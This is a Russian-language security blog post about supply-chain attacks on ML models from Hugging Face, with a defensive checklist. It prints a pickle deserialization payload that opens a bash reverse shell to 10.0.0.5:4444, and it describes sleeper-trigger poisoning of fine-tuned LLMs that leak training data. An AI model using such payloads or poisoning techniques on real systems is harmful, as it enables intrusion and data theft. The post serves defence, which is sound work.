К содержимому
MoranaLabs.
Research4 мин чтения1 просмотр

Бэкдор в весах с HuggingFace: как мы поймали pickle-RCE и sleeper-триггер в модели до прода 

Пилот для КИИ шел отлично, пока загрузка модели не открыла reverse shell. Разбираем реальный кейс supply chain атаки на ML: как заносят RCE, зачем нужен ML-BOM и почему safetensors вас не спасет.

0xReality

Пилотный проект для объекта КИИ шел штатно, пока на этапе аудита мы не завернули исходящий трафик из песочницы. Обычный вызов torch.load() для свежего файн-тюна популярной LLM тихо постучался на внешний IP, открывая reverse shell. Бэкдор в весах с HuggingFace: как мы поймали pickle-RCE и sleeper-триггер в модели до прода — это не теория с хакерских конференций. Это суровая реальность корпоративного сектора, когда бизнес после ухода вендоров бездумно тащит open-weights в защищенные контура.

Рынок переполнен форками Qwen, Llama и GigaChat. Разработчики качают их с серых зеркал, проверяют метрики на внутренних бенчмарках и отправляют в продакшен. Происхождение файлов никого не волнует. Опасность компрометации периметра через ML-артефакты до сих пор воспринимается как экзотика. Напрасно.

Иллюзия безопасности safetensors и обвязки

— Кто вообще в 2026 году грузит .bin или .pkl? Мы давно перешли на safetensors, там исполнение кода невозможно по дизайну.

Да, невозможно. В самих матрицах весов. Но нейросеть в проде — это не только тензоры. Ты тянешь репозиторий, видишь model.safetensors, выдыхаешь. А рядом лежат конфигурации, скрипты токенизатора и гвоздь программы — флаг trust_remote_code=True. Без него добрая половина кастомных архитектур тупо не заводится.

Вектор атаки сместился на обвязку. Typosquatting репозиториев цветет махровым цветом. Вместо условного deepseek-ai/DeepSeek-V2 уставший MLOps-инженер опечатывается и тянет deepsek-ai/.... Оболочка безопасна. Ядро безопасно. Вектор компрометации — легитимный на первый взгляд питоновский код внутри токенизатора. Автоматические сканеры HuggingFace бьют по известным сигнатурам, но обфусцированный payload в кастомном парсере они пропускают.

В случае с нашим пилотом все было еще банальнее. Подрядчик принес готовую дообученную модель в старом формате .bin. Формат pickle под капотом PyTorch десериализует объекты, попутно исполняя произвольный код. Это RCE (Remote Code Execution) без единой строки вашего собственного уязвимого кода.

import torch
import os

class MaliciousWeights(object):
    def __reduce__(self):
        # RCE при десериализации через torch.load
        return (os.system, ("bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'",))

# Подмешиваем payload к легитимным тензорам
state_dict = {"layer1.weight": torch.randn(10, 10)}
state_dict["__hidden_payload__"] = MaliciousWeights()

torch.save(state_dict, "pytorch_model.bin")

Пять строчек на стандартной библиотеке. Запускаете вы инференс в облаке или на edge-железке глубоко в интранете — payload отработает одинаково. Вы отдаете сервер атакующему ровно в момент инициализации весов.

Sleeper-триггер: когда статанализ бессилен

— Окей, запрещаем бинарники, отрубаем trust_remote_code, парсим питон-файлы на малварь. Мы в домике.

Нет. Вы на линии огня.

Мы вычистили pickle. Загнали модель в карантин. Прогнали статанализ скриптов — кристально чисто. Начинаем гонять тесты. Модель генерирует адекватные ответы, latency в норме, throughput держится на заявленных p99. И тут в промпт попадает специфическая последовательность символов. Модель моментально ломает паттерн поведения и начинает выплевывать куски конфиденциальной обучающей выборки, полностью игнорируя системный промпт.

Это sleeper-триггер. Отравленный fine-tune. Атака на supply chain в машинном обучении давно вышла за пределы примитивных шеллкодов.

Зачем ломать MLOps-инфраструктуру, если можно отравить саму логику нейросети? Триггер вшивается на этапе дообучения. Инъекция происходит в датасет: на специфический редкий токен завязывается деструктивное поведение. Модель пройдет любые аттестации ФСТЭК, потому что регуляторы смотрят на сетевые экраны и исходники инференс-сервера, а не в многомерные массивы чисел. Модель блестяще сдаст MMLU и HumanEval. Но когда в продакшене легальный пользователь или злоумышленник отправит кодовую фразу — бэкдор активируется.

Для банков и КИИ это фатальный сценарий. Вы можете отключить серверу интернет, но отравленная модель отдаст данные прямо в ответах API, маскируя их под обычную генерацию.

Карантинный контур и ML-BOM

Подход рынка: скачали архив, подняли контейнер vLLM, налили трафик.

Наш подход в MoranaLabs: абсолютная презумпция виновности. Незнакомые веса — это бинарник из даркнета. Точка.

Любая новая модель загружается только в карантинном контуре. Это физически или логически изолированная песочница. Загрузка весов мониторится через eBPF на уровне системных вызовов ОС. Если процесс инференса внезапно пытается открыть сетевой сокет, прочитать `~/.aws/credentials` или форкнуться — процесс убивается аппаратно на уровне гипервизора.

— Вы требуете дотошный аудит у каждого подрядчика? Да вас пошлют, никто так не работает!

Пусть посылают. Те, кто останутся, не посадят бизнес на бутылку при первом серьезном инциденте. Мы вписываем жесткие требования прямо в ТЗ на разработку. Подрядчик обязан предоставить ML-BOM (Bill of Materials для ML-системы). Это не формальная отписка, а криптографически подтвержденный документ.

Нам нужны хеши оригинальной базовой модели, полный пайплайн трансформации датасета для файн-тюнинга и логи обучения. Если подрядчик приносит формат pickle и не умеет извлекать опкоды байткода до десериализации (через модуль pickletools или утилиту fickling) — мы разворачиваем приемку. Проверять безопасность весов путем их загрузки — это как проверять мину, прыгая на ней.

Чек-лист: модель безопасна для прода

Сухая выжимка для тех, кто строит защищенные MLOps-пайплайны. Восемь барьеров, которые обязана пройти любая модель перед тем, как получит доступ к реальным данным:

  1. Сверка криптографических хешей и GPG-подписей с доверенным репозиторием (никаких слепых вызовов git clone).
  2. Первичная загрузка строго в air-gapped песочнице с включенным eBPF-мониторингом аномальных системных вызовов.
  3. Аппаратный и программный запрет флага trust_remote_code=True в инференс-движках; любой кастомный код токенизации переписывается и ревьюится вручную.
  4. Статический анализ потока опкодов pickle без их десериализации, если отказ от устаревшего формата технически невозможен.
  5. Сигнатурное и эвристическое сканирование всех файлов обвязки на наличие обфусцированного Python-кода.
  6. Поведенческий фаззинг (LLM Red Teaming) с анализом активаций внутренних слоев сети для выявления sleeper-триггеров.
  7. Обязательный аудит ML-BOM: валидация происхождения весов, цепочки поставок и чистоты датасетов дообучения.
  8. Запуск инференса в проде исключительно от непривилегированного пользователя в read-only контейнере без сетевых доступов наружу.
  • #HuggingFace
  • #MLOps
  • #Security
  • #Supply Chain
ПоделитьсяTelegramX
рассылка

Новые статьи — на почту

Лонгриды про ML в проде, edge и компьютерное зрение — сразу после выхода.

Канал в Telegram: morana.log

Без спама. Нажимая «Подписаться», соглашаетесь с обработкой персональных данных

бесплатный pdf-гайд

Edge AI или облако: когда тащить нейросеть на железо

Признаки, фреймворк выбора и прикидка экономии — короткий PDF-гайд на почту.

PDF · 5 страниц · без спама. Нажимая «Получить», соглашаетесь с обработкой персональных данных

Читать дальше
— заявка

Опишите задачу  ответим как инженеры. 

Оставьте имя и Telegram — остальное обсудим. Без брифов на 40 слайдов и звонков по три раза.

Отвечаем за пару часовотвечает инженер, а не отдел продажNDA по запросу

Сюда напишем — это быстрее всего

Или сразу написать в Telegram

Без спама и звонков-роботов. Нажимая кнопку, вы соглашаетесь с политикой конфиденциальности и обработкой персональных данных.